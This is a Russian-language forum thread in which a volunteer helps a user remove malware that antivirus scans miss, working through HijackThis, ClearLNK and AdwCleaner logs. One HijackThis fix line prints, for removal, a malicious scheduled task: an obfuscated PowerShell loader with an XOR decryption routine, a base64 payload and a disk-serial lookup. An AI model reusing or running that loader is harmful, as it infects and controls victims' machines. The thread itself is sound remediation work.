Антивирусы не видят данный вирус

Printable View

26.11.2017, 18:19
affa

Вложений: 3

Антивирусы не видят данный вирус

Здравствуйте. Помогите пожалуйста. С недавних пор в автозагрузке появляется данный процесс
[ATTACH=CONFIG]667282[/ATTACH]
Появляется вот такая папка C:\Users\Ирина\AppData\Roaming\Microsoft\Network\Connections\Pbk\_hiddenPbk
[ATTACH=CONFIG]667283[/ATTACH]
В менеджере автозапуска AVZ процесс выглядит так
[ATTACH=CONFIG]667284[/ATTACH]

Проверяла ативирусами Dr.Web CureIt!, Касперский, Malwarebytes, AVZ. Ничего не найдено. В AVZ в логе сканирования единственная запись-упоминание об этом процессе: Подозрение на скрытую загрузку библиотек через AppInit_DLLs: "c:\program files (x86)\sw-boo~1\assist~1.dll"
Похож на Trojan.MulDrop5.4381, но Доктор Веб его не видит. Не знаю, что делать.
26.11.2017, 18:21
Info_bot

Уважаемый(ая) [B]affa[/B], спасибо за обращение на наш форум!

Помощь в лечении комьютера на VirusInfo.Info оказывается абсолютно бесплатно. Хелперы в самое ближайшее время ответят на Ваш запрос. Для оказания помощи необходимо предоставить логи сканирования утилитой Autologger, подробнее можно прочитать в [URL="https://virusinfo.info/pravila.html"]правилах оформления запроса о помощи[/URL].

[INFORMATION]Если вы хотите получить персональную гарантированную помощь в приоритетном режиме, то воспользуйтесь платным сервисом [URL="https://virusinfo.info/content.php?r=613-sub_pomogite"]Помогите+[/URL].[/INFORMATION]

Если наш сайт окажется полезен Вам и у Вас будет такая возможность - пожалуйста [URL="https://virusinfo.info/content.php?r=113-virusinfo.info-donate"]поддержите проект[/URL].
26.11.2017, 20:02
Vvvyg

Логи нужны, а не скриншоты.
26.11.2017, 20:24
affa

Вложений: 1

Извините.
26.11.2017, 20:57
Vvvyg

[url]https://virusinfo.info/showthread.php?t=216455[/url] - не Ваша ли тема? Логи те же самые.
26.11.2017, 21:13
affa

Вложений: 1

Нет, извините. Смотрела, какие должны быть логи, перепутала архивы.
Вот мой
27.11.2017, 07:07
Vvvyg

Запустите HijackThis, расположенный в папке Autologger и [url="http://virusinfo.info/showthread.php?t=4491"]пофиксите[/url] (в [B]Windows Vista/7/8/10[/B] необходимо запускать через правую кнопку мыши [B]Запуск от имени администратора)[/B]):[code]R0 - HKCU\Software\Microsoft\Internet Explorer\Main,Start Page = podsolnushki.com
R3 - HKCU\..\URLSearchHooks: (no name) - {09900DE8-1DCA-443F-9243-26FF581438AF} - (no file)
O3 - Toolbar: (no name) - {09900DE8-1DCA-443F-9243-26FF581438AF} - (no file)
O4 - MSConfig\startupfolder: C:^ProgramData^Microsoft^Windows^Start Menu^Programs^Startup^HandyAndy.lnk - C:\Program Files\Andy\HandyAndy.exe (2017/02/15) (file missing)
O4 - MSConfig\startupfolder: C:^Users^Ирина^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^Punto Switcher.lnk - C:\Program Files (x86)\Yandex\Punto Switcher\punto.url (2013/11/01)
O4 - MSConfig\startupfolder: C:^Users^Ирина^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^_uninst_10837118.lnk - C:\Users\Ирина\AppData\Local\Temp\_uninst_10837118.bat (2014/11/09) (file missing)
O4 - MSConfig\startupfolder: C:^Users^Ирина^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^_uninst_33520926.lnk - C:\Users\Ирина\AppData\Local\Temp\_uninst_33520926.bat (2015/01/16) (file missing)
O4 - MSConfig\startupfolder: C:^Users^Ирина^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^_uninst_54411161.lnk - C:\Users\Ирина\AppData\Local\Temp\_uninst_54411161.bat (2014/10/10) (file missing)
O4 - MSConfig\startupfolder: C:^Users^Ирина^AppData^Roaming^Microsoft^Windows^Start Menu^Programs^Startup^_uninst_55470951.lnk - C:\Users\Ирина\AppData\Local\Temp\_uninst_55470951.bat (2015/04/11) (file missing)
O4 - MSConfig\startupreg: [GoogleUpdater] C:\Users\Ирина\AppData\Local\Google\Profile\service.exe C:\Users\Ирина\AppData\Local\Google\Profile (file missing) (HKCU) (2016/10/24)
O4 - MSConfig\startupreg: [QQ2009] C:\Program Files (x86)\Tencent\QQIntl\Bin\QQ.exe /background (HKCU) (2015/02/03)
O4 - MSConfig\startupreg: [SunJavaUpdateSched] C:\Program Files (x86)\Java\jre1.8.0_91\bin\jusched.exe (file missing) (HKLM) (2016/06/11)
O4 - MSConfig\startupreg: [SyncManPath] C:\Users\Ирина\AppData\Roaming\Yandex\YandexDisk\YandexDisk.exe -autostart (file missing) (HKCU) (2014/08/14)
O4 - MSConfig\startupreg: [Update] C:\Users\Ирина\AppData\Roaming\Microsoft\Network\dllchosts.exe (file missing) (HKCU) (2017/11/26)
O4 - MSConfig\startupreg: [amigo] C:\Users\Ирина\AppData\Local\Amigo\Application\amigo.exe --no-startup-window (file missing) (HKCU) (2015/04/11)
O20-32 - AppInit_DLLs: c:\program files (x86)\sw-boo~1\assist~1.dll
O22 - Task (Ready): \AVAST Software\Avast settings backup - C:\Program Files\Common Files\AV\avast! Antivirus\backup.exe /backup /iavs (file missing)
O22 - Task (Running): \Microsoft\Windows\UPnP\UPnP - C:\Program Files\Windows NT\Accessories\task.exe -Command "function dec([byte[]]$cb, [string]$pass){$pb = [System.Text.Encoding]::UTF8.GetBytes($pass);$s = $pb[0];$j=0;for($i = 0; $i -lt $cb.Count; $i++){if($j -ge $pb.Count){$j=0} $s = (23 -band $s -bor 152) -bxor $s;$cb[$i] = $cb[$i] -bxor $pb[$j] -bxor $s;$j++}return $cb;}$obj = gwmi win32_diskdrive | where {$_.DeviceID -eq '\\.\PHYSICALDRIVE0'} | select Model, Serialnumber;$d = dec ([System.Convert]::FromBase64String('uHa7JaEw5kDeXbE04ky4UsBQyiqWNYlwjRuBEcUEjhDAT9UHlQ+dDJ9OiBXVFYoEmxSeS4oIi1uSXtgB3ln2TIkA3V7dR9Fw4XHtfuhfuSrIQaFE4A+cD59ivF+8NJsIkwiNJ5MOzFTBQIJWzknaIYoQlgWtBZgrkhHVVchT1VDKSNQptDyxLdFDkQz3ertf5HHiH6Ukuwn7fOQE11PaP6w/2SKbEY8DjSObBpsSk0/PU81OyVbYW/BEikDHQLUAjU20BpEGnxzcMYUbiASQTbMA6DHMfeNC+x/0fdBDuCe/T8hO3yayI9shjw+aOYkC2l3aO6kZiRSfDdQunxTUN58CqAWKEJ8TjznBWb8amQOIDdRFnAfUXpY76TbAfuUf+0WNFeZB7AWREo1y6DHVNIlAwF/eFcFq3hLUNYkFiCGdBZQU2l3aRI8BwG/eEtUUiQyEEdxf3EyMWvdHjxbsP6Y4pWCnN+lwqgT6Y+YPiwXAOKc[/code]
Скачайте, распакуйте и запустите [url=http://virusinfo.info/soft/tool.php?tool=ClearLNK]утилиту ClearLNK[/url]. Скопируйте текст ниже в окно утилиты и нажмите "[B]Лечить[/B]".[CODE]>>> "C:\Users\Ирина\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Вконтакте.lnk" -> ["C:\Users\Ирина\AppData\Local\Amigo\Application\vk.exe" =>> hxxp://r.mail.ru/n137259063]
>>> "C:\Users\Ирина\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Одноклассники.lnk" -> ["C:\Users\Ирина\AppData\Local\Amigo\Application\ok.exe" =>> hxxp://r.mail.ru/n137259061]
>>> "C:\Users\Ирина\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\System Tools\Internet Explorer (No Add-ons).lnk" -> ["C:\Program Files (x86)\Internet Explorer\iexplore.url" =>> -extoff]
>>> "C:\Users\Ирина\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch-\Launch Internet Explorer Browser.lnk" -> ["C:\Program Files (x86)\Internet Explorer\iexplore.url"]
>>> "C:\Users\Ирина\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Амиго.lnk" -> ["C:\Users\Ирина\AppData\Local\Amigo\Application\amigo.exe"][/CODE]
Отчёт о работе прикрепите.
Mail.Ru Агент используете? Если нет - удалите, QQ International и SpyHunter тоже.

Сделайте лог [URL="http://virusinfo.info/showthread.php?t=146192&p=1041844&viewfull=1#post1041844"]Malwarebytes AdwCleaner[/URL].
27.11.2017, 18:43
affa

Вложений: 2

Программы удалила. После удаления, как я поняла SpyHunter, еле запустила систему.

В HijackThis последней строчки "O22 - Task (Running): \Microsoft\Windows\UPnP\UPnP - C:\Program Files\Windows NT\Accessories\task.exe...." не было.

Остальное все, вроде, нормально.
27.11.2017, 21:11
Vvvyg

Запустите повторно [B]Malwarebytes AdwCleaner [/B](в [B]Windows Vista/7/8[/B] необходимо запускать через правую кнопку мыши [B]от имени администратора)[/B]), нажмите кнопку [B]Сканировать[/B] (Scan), по окончании сканирования уберите галочку на вкладках [B]Папки[/B] (Folders) и [B]Реестр[/B] (Registry) с пункта, [B]C:\Program Files (x86)\DNS Games[/B] - если нужны эти игры.

Установите в пункте меню "Настройки" (Settings) дополнительно к установленным по умолчанию галочку "[B]Сброс политик Chrome[/B]".
Затем нажмите [B]Очистить[/B] ([B]Cleaning[/B]) и по окончании удаления перезагрузите систему по требованию программы.

Затем нажмите [B]Очистка[/B] ([B]Cleaning[/B]) и по окончании удаления перезагрузите систему по требованию программы.

После входа в систему откроется отчёт AdwCleaner - файл AdwCleaner[C0].txt, прикрепите к своему следующему сообщению.

[URL="http://virusinfo.info/showthread.php?t=128635"]Очистите кэш и cookies-файлы браузеров[/URL] и сообщите, что с проблемами.
27.11.2017, 22:06
affa

Вложений: 1

Все сделала, пока в автозагрузке процесса Update нет, папка Network пуста.
27.11.2017, 22:22
Vvvyg

Загрузите, распакуйте на Рабочий стол и запустите [URL="https://yadi.sk/d/xIUtpEqJq4wru"]SecurityCheck by glax24 & Severnyj[/URL].
Запустите двойным щелчком мыши (если Вы используете Windows XP) или из меню по щелчку правой кнопки мыши [B]Запуск от имени администратора[/B] (если Вы используете Windows Vista/7/8/10).
Если увидите предупреждение от фаервола относительно программы SecurityCheck, не блокируйте ее работу.
Дождитесь окончания сканирования, откроется лог в блокноте с именем SecurityCheck.txt;
Если Вы закрыли Блокнот, то найти этот файл можно в корне системного диска в папке с именем SecurityCheck, например [I]C:\SecurityCheck\SecurityCheck.txt[/I].

Приложите этот файл к своему следующему сообщению.
27.11.2017, 22:37
affa

Вложений: 1

Сделала.
27.11.2017, 23:03
Vvvyg

[QUOTE]Internet Explorer 9.0.8112.16421 [color=red][b]Внимание! [url=http://windows.microsoft.com/ru-ru/internet-explorer/ie-11-worldwide-languages]Скачать обновления[/url][/b][/color]
[color=blue][b]^Онлайн установка. Последняя версия доступна при включенном обновлении Windows через интернет.^[/b][/color]
Уведомлять о загрузке и установке обновлений
Центр обновления Windows (wuauserv) - Служба остановлена[/QUOTE]
Рекомендую включить автоматическое обновление, пропустили очень много критических обновлений системы.
[QUOTE]Java 8 Update 91 v.8.0.910.15 [color=red][b]Внимание! [url=http://www.oracle.com/technetwork/java/javase/downloads/jre8-downloads-2133155.html]Скачать обновления[/url][/b][/color]
[color=blue][b]^Удалите старую версию и установите новую (jre-8u152-windows-i586.exe)^[/b][/color]
--------------------------- [ AppleProduction ] ---------------------------
QuickTime 7 v.7.79.80.95 [color=red][b]Данная программа больше не поддерживается разработчиком и имеет известные проблемы безопасности![/b][/color] Рекомендуется [b][url=https://support.apple.com/ru-ru/HT205771]деинсталлировать[/url][/b] данное ПО.
--------------------------- [ AdobeProduction ] ---------------------------
Adobe AIR v.3.1.0.4880 [color=red][b]Внимание! [url=https://get.adobe.com/ru/air/]Скачать обновления[/url][/b][/color][/QUOTE]

[QUOTE]Setup v.17.0.0.199 [color=blue][b]<< Скрыта[/b][/color] [color=red][b]Внимание! Подозрение на Adware![/b][/color][/QUOTE]
Удалите эту программу.

И всё на этом.
27.11.2017, 23:29
affa

Спасибо огромное. В автозагрузке процесса нет, но вот папка Connections в Network все равно появляется. Это не страшно?
28.11.2017, 06:42
Vvvyg

Это нормально.

Запустите AdwCleaner и нажмите [B]Файл (File) -> Деинсталлировать (Uninstall)[/B].

Выполните [url="http://virusinfo.info/showthread.php?t=121902"]рекомендации после лечения[/url].